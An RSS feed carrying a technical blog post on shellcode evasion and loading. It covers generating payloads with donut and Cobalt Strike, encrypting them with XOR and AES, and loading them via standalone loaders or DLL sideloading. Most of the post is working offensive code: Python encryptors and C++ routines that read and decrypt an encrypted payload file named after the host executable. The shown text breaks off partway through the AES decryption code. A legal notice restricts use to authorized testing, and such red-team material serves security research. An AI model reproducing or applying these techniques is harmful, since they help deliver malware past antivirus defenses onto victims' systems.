<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>All Posts - Simon's Blog</title><link>https://blog.leeissonba.com/en/posts/</link><description>All Posts | Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 28 Jul 2026 23:10:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/en/posts/" rel="self" type="application/rss+xml"/><item><title>Shellcode Evasion and Loading: End-to-End Workflow</title><link>https://blog.leeissonba.com/en/shellcode-evasion-loading-workflow/</link><pubDate>Tue, 28 Jul 2026 23:10:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/shellcode-evasion-loading-workflow/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/featured.jpg" alt="Shellcode Evasion and Loading: End-to-End Workflow" referrerpolicy="no-referrer">
            </div><p>Whether extracted from an EXE/Beacon via donut or generated directly from Cobalt Strike, shellcode is typically XOR/AES-encrypted and then executed through a standalone loader or a sideloaded DLL. This post walks through the full chain—generation, encryption, loading, and delivery—with two practical case studies.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Legal Notice<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">For authorized penetration testing, security research, and defensive assessment only. Do not use on unauthorized systems.</div>
    </div>
</div>
<h2 id="overview">Overview</h2>
<div class="mermaid" id="id-4">flowchart LR
    subgraph S1[&#34;1 Generate Shellcode&#34;]
        A1[&#34;EXE / Beacon&#34;] --&gt; A2[&#34;donut / go-donut&#34;]
        A3[&#34;Cobalt Strike&#34;] --&gt; A4[&#34;C shellcode / .bin&#34;]
        A2 --&gt; B[&#34;Raw shellcode&#34;]
        A4 --&gt; B
    end

    subgraph S2[&#34;2 Encrypt&#34;]
        B --&gt; C{&#34;Algorithm&#34;}
        C --&gt; C1[&#34;XOR&#34;]
        C --&gt; C2[&#34;AES&#34;]
        C --&gt; C3[&#34;RSA (ref)&#34;]
        C1 --&gt; D[&#34;.dat / .ini&#34;]
        C2 --&gt; D
        C3 --&gt; D
    end

    subgraph S3[&#34;3 Load / Deliver&#34;]
        D --&gt; E1[&#34;Manual loader&lt;br/&gt;VirtualProtect / VirtualAlloc&#34;]
        D --&gt; E2[&#34;DLL sideload decrypt &amp; run&#34;]
        D --&gt; E3[&#34;Off-the-shelf Go loader&#34;]
        E2 --&gt; F[&#34;Signed EXE triggers callback&#34;]
        E1 --&gt; G[&#34;Standalone EXE&#34;]
        E3 --&gt; G
    end</div>
<p>For DLL hijacking fundamentals, see the published article: <a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows DLL Hijacking Analysis</a>.</p>
<h2 id="1-generate-shellcode">1. Generate Shellcode</h2>
<h3 id="11-extract-from-exe-donut--go-donut">1.1 Extract from EXE (donut / go-donut)</h3>
<p><strong>go-donut</strong> (bin output only): <a href="https://github.com/Binject/go-donut" target="_blank" rel="noopener noreffer ">Binject/go-donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./go-donut -i windows_amd64.exe   <span class="c1"># extension required, otherwise bin is unusable</span></span></span></code></pre></div></div>
<p><strong>donut</strong> (recommended): <a href="https://github.com/TheWover/donut" target="_blank" rel="noopener noreffer ">TheWover/donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># -f 3: C-style shellcode; -z 2: compression</span>
</span></span><span class="line"><span class="cl">donut.exe -i windows_i386.exe -f <span class="m">3</span> -z <span class="m">2</span></span></span></code></pre></div></div>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Architecture match<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">Shellcode bitness must match the <strong>process that executes it</strong>. If sideload host <code>et.exe</code> is x64, CS/donut output must be x64; x86 shellcode in an x64 process will crash.</div>
    </div>
</div>
<h3 id="12-generate-from-cobalt-strike">1.2 Generate from Cobalt Strike</h3>
<ol>
<li>CS → <strong>Attacks → Packages → Payload Generator</strong> (for C-format shellcode; <strong>Windows Executable (S)</strong> produces an EXE, not the byte array used here)</li>
<li>Choose <strong>C</strong> output: <code>unsigned char buf[] = &quot;\x90\x90...&quot;;</code></li>
<li>For the Python encryptor in this post: produce a raw binary <code>.bin</code> (do <strong>not</strong> only strip <code>\x</code> and leave hex ASCII text; convert <code>\xHH</code> to bytes, or export/convert to bin)</li>
<li>Encrypt (Section 2), then deliver via sideloaded DLL or standalone loader</li>
</ol>
<h2 id="2-encryption">2. Encryption</h2>
<h3 id="21-xor">2.1 XOR</h3>
<h4 id="python-encrypt">Python (encrypt)</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">key_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">encrypted_shellcode</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">key_len</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">encrypted_shellcode</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 ShellcodeEncrypt.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;henry123456aa+-==@asd&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="n">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="c-decrypt">C++ (decrypt)</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Read encrypted shellcode from a .dat file matching the executable name
</span></span></span><span class="line"><span class="cl"><span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;henry123456aa+-==@asd&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">keylength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">keylength</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// shellcode decrypted, length = size
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="22-aes">2.2 AES</h3>
<p>Dependency: <a href="https://github.com/kokke/tiny-AES-c" target="_blank" rel="noopener noreffer ">tiny-AES-c</a> (add <code>aes.c</code>, <code>aes.h</code>, <code>aes.hpp</code> to your project)</p>
<h4 id="python-encrypt-1">Python (encrypt)</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Dependency<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">Install <code>pycryptodome</code>: <code>pip uninstall crypto pycrypto &amp;&amp; pip install pycryptodome</code></div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 shellcodeAESenc.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Original Shellcode Size:&#34;</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded_data</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypt</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="cc-decrypt">C/C++ (decrypt)</h4>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;aes.hpp&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// Exactly 16 bytes; do not use a string literal (adds trailing &#39;\0&#39;)
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="sc">&#39;0&#39;</span><span class="p">,</span><span class="sc">&#39;1&#39;</span><span class="p">,</span><span class="sc">&#39;2&#39;</span><span class="p">,</span><span class="sc">&#39;3&#39;</span><span class="p">,</span><span class="sc">&#39;4&#39;</span><span class="p">,</span><span class="sc">&#39;5&#39;</span><span class="p">,</span><span class="sc">&#39;6&#39;</span><span class="p">,</span><span class="sc">&#39;7&#39;</span><span class="p">,</span><span class="sc">&#39;8&#39;</span><span class="p">,</span><span class="sc">&#39;9&#39;</span><span class="p">,</span><span class="sc">&#39;a&#39;</span><span class="p">,</span><span class="sc">&#39;b&#39;</span><span class="p">,</span><span class="sc">&#39;c&#39;</span><span class="p">,</span><span class="sc">&#39;d&#39;</span><span class="p">,</span><span class="sc">&#39;e&#39;</span><span class="p">,</span><span class="sc">&#39;f&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
